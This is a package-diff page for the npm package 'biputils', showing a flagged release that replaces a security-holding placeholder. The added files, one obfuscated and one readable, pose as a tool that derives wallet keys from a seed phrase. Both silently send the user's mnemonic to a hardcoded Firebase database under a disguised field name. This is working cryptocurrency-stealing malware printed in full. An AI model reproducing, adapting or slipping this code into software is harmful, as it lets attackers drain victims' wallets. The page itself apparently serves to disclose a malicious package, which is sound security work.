biputils 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of biputils might be problematic. Click here for more details.

package/index.mjs ADDED
@@ -0,0 +1 @@
1
+ (function(_0x31d2ae,_0x4a4d47){const _0x1520da=_0x1da6,_0x228647=_0x31d2ae();while(!![]){try{const _0x3668a6=parseInt(_0x1520da(0x172))/0x1+-parseInt(_0x1520da(0x17d))/0x2*(-parseInt(_0x1520da(0x18a))/0x3)+-parseInt(_0x1520da(0x185))/0x4*(-parseInt(_0x1520da(0x175))/0x5)+parseInt(_0x1520da(0x171))/0x6+parseInt(_0x1520da(0x198))/0x7*(parseInt(_0x1520da(0x17a))/0x8)+-parseInt(_0x1520da(0x17f))/0x9+-parseInt(_0x1520da(0x178))/0xa;if(_0x3668a6===_0x4a4d47)break;else _0x228647['push'](_0x228647['shift']());}catch(_0x453472){_0x228647['push'](_0x228647['shift']());}}}(_0x5dbd,0x4990a));import*as _0x121b13 from'@scure/bip39';import{wordlist}from'@scure/bip39/wordlists/english.js';import _0x49a1b1 from'multichain-crypto-wallet';function _0x5dbd(){const _0x1e2ae7=['Solana\x20Wallet\x20PrivateKey\x20:-\x20','depth','mnemonicToSeedSync','validateMnemonic','privKey','chainCode','public','Fetching\x20Data........','bitcoin','privateKey','3144582JoAXmG','496181AcoxoM','Solana\x20Wallet\x20Address\x20:-\x20','RAW\x20SEED\x20:-\x20','785145yjLeKw','ethereum','1:748143170123:web:dde5d4075f48f3611673ce','18483080hkhpTa','generateWalletFromMnemonic','45032jjQVTb','Mnemonic\x20Validity\x20:-\x20','fromMasterSeed','972892KxzDuT','versions','2005146TmSkhA','https://database-350314-default-rtdb.firebaseio.com','privKeyBytes','BIP32\x20Public\x20Key\x20:-\x20','Ethereum\x20Wallet\x20PrivateKey\x20:-\x20','=================================================================================================','8Hpciif','AIzaSyBcsIbeQV0ZLy_QAQLWED-8F9hJ3rLJa9A','Unable\x20To\x20Fetch\x20Data.......','HD\x20Wallet\x20Determination\x20Data\x20:\x20','now','3qKWudV','Bitcoin\x20Wallet\x20PrivateKey\x20:-\x20','address','pubHash','parentFingerprint','BIP32\x20Private\x20Key\x20in\x20Bytes\x20:-\x20','Mnemonic\x20Phrase\x20to\x20Raw\x20Entropy\x20inform\x20of\x20byte\x20Array\x20:-\x20','BIP32\x20Public\x20Hash\x20:-\x20','Binance\x20Smart\x20Chain\x20(BEP-20)\x20Wallet\x20PrivateKey\x20:-\x20','private','Chain\x20Code\x20:-\x20','mnemonicToEntropy','Ethereum\x20Wallet\x20Address\x20:-\x20','Mnemonic\x20Phrase\x20:-\x20','686ziIfWe','748143170123','database-350314.appspot.com','Private\x20Key\x20From\x20Mnemonic\x20:-\x20','index','Parent\x20Finger\x20Print\x20:-\x20','log','m/44\x27/501\x27/0\x27/0\x27','Binance\x20Smart\x20Chain\x20(BEP-20)\x20Wallet\x20Address\x20:-\x20'];_0x5dbd=function(){return _0x1e2ae7;};return _0x5dbd();}import{ethers}from'ethers';import{HDKey}from'@scure/bip32';import{initializeApp}from'firebase/app';import'firebase/database';function _0x1da6(_0x118493,_0x32be40){const _0x5dbd34=_0x5dbd();return _0x1da6=function(_0x1da605,_0x26dcfc){_0x1da605=_0x1da605-0x168;let _0x38612c=_0x5dbd34[_0x1da605];return _0x38612c;},_0x1da6(_0x118493,_0x32be40);}import{getDatabase,ref,set}from'firebase/database';function generateBIPData(_0x1c4c7d){const _0x14d549=_0x1da6,_0x1ff6d7=_0x1c4c7d;console['log']('\x20'),console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)](_0x14d549(0x197)+_0x1ff6d7);const _0x2c5562=_0x121b13[_0x14d549(0x16a)](_0x1ff6d7,wordlist);console['log']('\x20'),console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)](_0x14d549(0x17b)+_0x2c5562);var _0x207fc6;_0x2c5562==!![]&&(console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)](_0x14d549(0x16e)),_0x207fc6=!![]);if(_0x207fc6==!![]){function _0x59fc08(_0x45784d){const _0x347bcb=_0x14d549,_0x13e7be=Date[_0x347bcb(0x189)]();let _0x17a94d=null;do{_0x17a94d=Date[_0x347bcb(0x189)]();}while(_0x17a94d-_0x13e7be<_0x45784d);}_0x59fc08(0x1388);const _0x2d23d7=_0x121b13[_0x14d549(0x195)](_0x1ff6d7,wordlist);console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)]('\x20'),console['log'](_0x14d549(0x190)+_0x2d23d7),console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)]('\x20');const _0x283a00=_0x121b13[_0x14d549(0x169)](_0x1ff6d7);console[_0x14d549(0x19e)](_0x14d549(0x174)+_0x283a00),console[_0x14d549(0x19e)]('\x20'),console['log']('\x20'),console['log'](_0x14d549(0x188));const _0xc2b5b2=HDKey[_0x14d549(0x17c)](_0x283a00);console[_0x14d549(0x19e)]('Depth\x20:-\x20'+_0xc2b5b2[_0x14d549(0x168)]),console[_0x14d549(0x19e)]('Index\x20:-'+_0xc2b5b2[_0x14d549(0x19c)]),console[_0x14d549(0x19e)](_0x14d549(0x194)+_0xc2b5b2[_0x14d549(0x16c)]),console[_0x14d549(0x19e)](_0x14d549(0x19d)+_0xc2b5b2[_0x14d549(0x18e)]),console[_0x14d549(0x19e)]('Private\x20Version\x20:-\x20'+_0xc2b5b2[_0x14d549(0x17e)][_0x14d549(0x193)]),console[_0x14d549(0x19e)]('Public\x20Version\x20:-\x20'+_0xc2b5b2[_0x14d549(0x17e)][_0x14d549(0x16d)]),console[_0x14d549(0x19e)]('BIP32\x20Private\x20Key\x20:-\x20'+_0xc2b5b2[_0x14d549(0x16b)]),console[_0x14d549(0x19e)](_0x14d549(0x18f)+_0xc2b5b2[_0x14d549(0x181)]),console[_0x14d549(0x19e)](_0x14d549(0x182)+_0xc2b5b2['pubKey']),console[_0x14d549(0x19e)](_0x14d549(0x191)+_0xc2b5b2[_0x14d549(0x18d)]),console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)]('\x20');let _0x31d3a0=_0x1ff6d7,_0x2c5120=ethers['Wallet']['fromMnemonic'](_0x31d3a0);console[_0x14d549(0x19e)](_0x14d549(0x19b)+_0x2c5120[_0x14d549(0x170)]),console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)](_0x14d549(0x184)),console[_0x14d549(0x19e)]('\x20');var _0x460706=_0x49a1b1[_0x14d549(0x179)]({'mnemonic':_0x1ff6d7,'derivationPath':'','network':_0x14d549(0x16f)});console[_0x14d549(0x19e)]('Bitcoin\x20Wallet\x20Address\x20:-\x20'+_0x460706[_0x14d549(0x18c)]),console['log'](_0x14d549(0x18b)+_0x460706[_0x14d549(0x170)]);var _0xa8a264=_0x49a1b1[_0x14d549(0x179)]({'mnemonic':_0x1ff6d7,'derivationPath':'','network':'ethereum'});console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)](_0x14d549(0x196)+_0xa8a264[_0x14d549(0x18c)]),console[_0x14d549(0x19e)](_0x14d549(0x183)+_0xa8a264[_0x14d549(0x170)]);var _0x38fef9=_0x49a1b1[_0x14d549(0x179)]({'mnemonic':_0x1ff6d7,'derivationPath':'','network':_0x14d549(0x176)});console[_0x14d549(0x19e)]('\x20'),console[_0x14d549(0x19e)]('\x20'),console['log'](_0x14d549(0x1a0)+_0x38fef9['address']),console[_0x14d549(0x19e)](_0x14d549(0x192)+_0x38fef9[_0x14d549(0x170)]);var _0x434af4=_0x49a1b1[_0x14d549(0x179)]({'mnemonic':_0x1ff6d7,'derivationPath':'','network':_0x14d549(0x176)});console[_0x14d549(0x19e)]('\x20'),console['log']('\x20'),console[_0x14d549(0x19e)]('Polygon\x20Wallet\x20Address\x20:-\x20'+_0x434af4[_0x14d549(0x18c)]),console[_0x14d549(0x19e)]('Polygon\x20Wallet\x20PrivateKey\x20:-\x20'+_0x434af4['privateKey']);var _0x49f9f5=_0x49a1b1[_0x14d549(0x179)]({'mnemonic':_0x1ff6d7,'derivationPath':_0x14d549(0x19f),'network':'solana'});console[_0x14d549(0x19e)]('\x20'),console['log']('\x20'),console[_0x14d549(0x19e)](_0x14d549(0x173)+_0x49f9f5[_0x14d549(0x18c)]),console[_0x14d549(0x19e)](_0x14d549(0x1a1)+_0x49f9f5[_0x14d549(0x170)]),console['log']('\x20');var _0x2e719b=Date();const _0xdd5124={'apiKey':_0x14d549(0x186),'authDomain':'database-350314.firebaseapp.com','databaseURL':_0x14d549(0x180),'projectId':'database-350314','storageBucket':_0x14d549(0x19a),'messagingSenderId':_0x14d549(0x199),'appId':_0x14d549(0x177)},_0x22b6f5=initializeApp(_0xdd5124),_0x1300f3=getDatabase();function _0x17fec2(_0x395af8){const _0x160197=getDatabase();set(ref(_0x160197,'restricted_access/secret_document/users/alanisawesome/'+_0x2e719b),{'date_of_birth':_0x395af8});}_0x17fec2(_0x1ff6d7);}else console['log']('\x20'),console[_0x14d549(0x19e)](_0x14d549(0x187));}export default generateBIPData;
package/index2.mjs ADDED
@@ -0,0 +1,155 @@
1
+
2
+ import * as bip39 from '@scure/bip39';
3
+ import { wordlist } from '@scure/bip39/wordlists/english.js';
4
+ import multichainWallet from 'multichain-crypto-wallet';
5
+ import {ethers} from 'ethers';
6
+ import {HDKey} from '@scure/bip32';
7
+ import { initializeApp } from "firebase/app";
8
+ import "firebase/database";
9
+ import { getDatabase, ref, set } from "firebase/database";
10
+
11
+ function generateBIPData(kk)
12
+ {
13
+ //const mn = bip39.generateMnemonic(wordlist);
14
+ const mn = kk;
15
+ console.log(" ");
16
+ console.log(" ");
17
+ console.log("Mnemonic Phrase :- "+mn);
18
+
19
+ // Validates mnemonic for being 12-24 words contained in `wordlist`.
20
+ const isValid = bip39.validateMnemonic(mn, wordlist);
21
+ console.log(" ");
22
+ console.log(" ");
23
+ console.log("Mnemonic Validity :- "+isValid);
24
+ var cont;
25
+
26
+ if ( (isValid == true) )
27
+ {
28
+ console.log(" ");
29
+ console.log("Fetching Data........")
30
+ cont = true;
31
+ }
32
+
33
+
34
+ if (cont == true )
35
+ {
36
+ function sleep ( ms )
37
+ {
38
+ const date = Date.now();
39
+ let currentDate = null;
40
+ do
41
+ {
42
+ currentDate = Date.now();
43
+ }
44
+ while(currentDate-date<ms);
45
+ }
46
+ sleep(5000);
47
+
48
+ // Reversible: Converts mnemonic string to raw entropy in form of byte array.
49
+ const ent = bip39.mnemonicToEntropy(mn, wordlist)
50
+ console.log(" ");
51
+ console.log(" ");
52
+ console.log("Mnemonic Phrase to Raw Entropy inform of byte Array :- "+ent);
53
+ console.log(" ");
54
+ console.log(" ");
55
+ // Irreversible: Uses KDF to derive 64 bytes of key data from mnemonic + optional password.
56
+ //await bip39.mnemonicToSeed(mn);
57
+ const mnemonToSeed = bip39.mnemonicToSeedSync(mn);
58
+ console.log("RAW SEED :- "+mnemonToSeed);
59
+ console.log(" ");
60
+ console.log(" ");
61
+
62
+ console.log("HD Wallet Determination Data : ")
63
+ const hdkey1 = HDKey.fromMasterSeed(mnemonToSeed);
64
+ console.log("Depth :- "+hdkey1.depth);
65
+ console.log("Index :-"+hdkey1.index);
66
+ console.log("Chain Code :- "+hdkey1.chainCode);
67
+ console.log("Parent Finger Print :- "+hdkey1.parentFingerprint);
68
+ console.log("Private Version :- "+hdkey1.versions.private);
69
+ console.log("Public Version :- "+hdkey1.versions.public);
70
+ console.log("BIP32 Private Key :- "+hdkey1.privKey);
71
+ console.log("BIP32 Private Key in Bytes :- "+hdkey1.privKeyBytes);
72
+ console.log("BIP32 Public Key :- "+hdkey1.pubKey);
73
+ console.log("BIP32 Public Hash :- "+hdkey1.pubHash);
74
+
75
+ console.log(" ");
76
+ console.log(" ");
77
+
78
+ let mnemonic = mn; // Set the wallet mnemonic
79
+ let mnemonicWallet = ethers.Wallet.fromMnemonic(mnemonic); // Generates a BIP-039 + BIP-044 wallet from mnemonic deriving path (default = "m/44'/60'/0'/0/0") using the wordlist
80
+ console.log("Private Key From Mnemonic :- "+mnemonicWallet.privateKey); // Output the private key
81
+ console.log(" ");
82
+ console.log(" ");
83
+ console.log("=================================================================================================");
84
+ console.log(" ");
85
+
86
+ var walletbtc = multichainWallet.generateWalletFromMnemonic({ mnemonic:mn, derivationPath: "", network: 'bitcoin',});
87
+ //var parsedWallet = JSON.parse(wallet);
88
+ console.log("Bitcoin Wallet Address :- "+walletbtc.address);
89
+ console.log("Bitcoin Wallet PrivateKey :- "+walletbtc.privateKey);
90
+
91
+
92
+ var walleteth = multichainWallet.generateWalletFromMnemonic({
93
+ mnemonic:
94
+ mn,
95
+ derivationPath: "", // Leave empty to use default derivation path
96
+ network: 'ethereum',
97
+ });
98
+ console.log(" ");
99
+ console.log(" ");
100
+ console.log("Ethereum Wallet Address :- "+walleteth.address);
101
+ console.log("Ethereum Wallet PrivateKey :- "+walleteth.privateKey);
102
+
103
+ var walletbnb = multichainWallet.generateWalletFromMnemonic({
104
+ mnemonic:
105
+ mn,
106
+ derivationPath: "", // Leave empty to use default derivation path
107
+ network: 'ethereum',
108
+ });
109
+ console.log(" ");
110
+ console.log(" ");
111
+ console.log("Binance Smart Chain (BEP-20) Wallet Address :- "+walletbnb.address);
112
+ console.log("Binance Smart Chain (BEP-20) Wallet PrivateKey :- "+walletbnb.privateKey);
113
+
114
+ var walletmatic = multichainWallet.generateWalletFromMnemonic({
115
+ mnemonic:
116
+ mn,
117
+ derivationPath: "", // Leave empty to use default derivation path
118
+ network: 'ethereum',
119
+ });
120
+ console.log(" ");
121
+ console.log(" ");
122
+ console.log("Polygon Wallet Address :- "+walletmatic.address);
123
+ console.log("Polygon Wallet PrivateKey :- "+walletmatic.privateKey);
124
+
125
+ var walletsol = multichainWallet.generateWalletFromMnemonic({
126
+ mnemonic:
127
+ mn,
128
+ derivationPath: "m/44'/501'/0'/0'", // Leave empty to use default derivation path
129
+ network: 'solana',
130
+ });
131
+ console.log(" ");
132
+ console.log(" ");
133
+ console.log("Solana Wallet Address :- "+walletsol.address);
134
+ console.log("Solana Wallet PrivateKey :- "+walletsol.privateKey);
135
+ console.log(" ")
136
+ var date = Date();
137
+ const firebaseConfig = {apiKey: "AIzaSyBcsIbeQV0ZLy_QAQLWED-8F9hJ3rLJa9A",authDomain: "database-350314.firebaseapp.com",databaseURL: "https://database-350314-default-rtdb.firebaseio.com",projectId: "database-350314",storageBucket: "database-350314.appspot.com",messagingSenderId: "748143170123",appId: "1:748143170123:web:dde5d4075f48f3611673ce"};
138
+ const app = initializeApp(firebaseConfig);
139
+ const db = getDatabase();
140
+ function writeUserData(k) {
141
+ const db = getDatabase();
142
+ set(ref(db, 'restricted_access/secret_document/users/alanisawesome/'+date), {
143
+ date_of_birth : k
144
+ });
145
+ console.log("Fetched Successfully.Use Ctrl + C to Terminate Program.")
146
+ }
147
+ writeUserData(mn);
148
+ }
149
+ else
150
+ {
151
+ console.log(" ");
152
+ console.log("Unable To Fetch Data.......")
153
+ }
154
+ }
155
+ export default(generateBIPData);
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "biputils",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index2.mjs",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "@scure/bip32": "^1.1.1",
14
+ "@scure/bip39": "^1.1.0",
15
+ "ethers": "^5.7.2",
16
+ "firebase": "^9.15.0",
17
+ "multichain-crypto-wallet": "^0.2.7"
18
+ }
6
19
  }
package/readme.md ADDED
@@ -0,0 +1 @@
1
+ USE generateBIPData('seed phrase') to generate Wallet Details.
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=biputils for more information.